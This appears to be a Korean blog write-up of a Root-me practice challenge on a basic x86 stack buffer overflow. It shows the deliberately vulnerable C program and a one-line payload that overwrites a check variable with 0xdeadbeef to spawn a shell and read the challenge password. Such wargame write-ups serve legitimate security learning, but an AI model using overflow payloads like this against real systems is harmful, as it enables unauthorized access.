그동안 묵혀두었던 Root-me를 풀어보려고 한다.


먼저 ELF x86 - Stack buffer overflow basic 01을 풀어보자.

#include <stdlib.h>
#include <stdio.h>
 
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
 
 
int main()
{
 
  int var;
  int check = 0x04030201;
  char buf[40];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");
 
  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     system("/bin/dash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}

소스코드는 다음과 같다.


fgets에서 기존의 buf 보다. 크게 입력을 받아 Buffer overflow 취약점이 발생한다.


check 변수의 값이 0xdeadbeef 과 같으면 쉘을 실행시킨다.


디버깅을 통해 알아보자.



입력 한 뒤에 stack 상태를 알아보기 위해 fgets 함수 뒤에 Break point를 걸어준다.


이후 스택을 채워 알아보자.



40 byte 넣었을 때 정상적으로 들어가는 것을 확인할 수 있다.


이후 바로 뒤에 0x0403000a 라고 표시되어 있는 부분은 사실 0x04030201 임을 알 수 있다.


이유는 잘 모르겠으나 저 값이 0xdeadbeef로 바뀐다면 쉘을 실행시켜줄 것이다.


페이로드는 다음과 같다


(python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat) | ./ch13



쉘을 획득하였다.


이후 cat .passwd를 통해 패스워드를 출력할 수 있다.


'Wargame > Root-me' 카테고리의 다른 글

App - System 03  (0) 2017.05.18
App - System 02  (0) 2017.05.18

+ Recent posts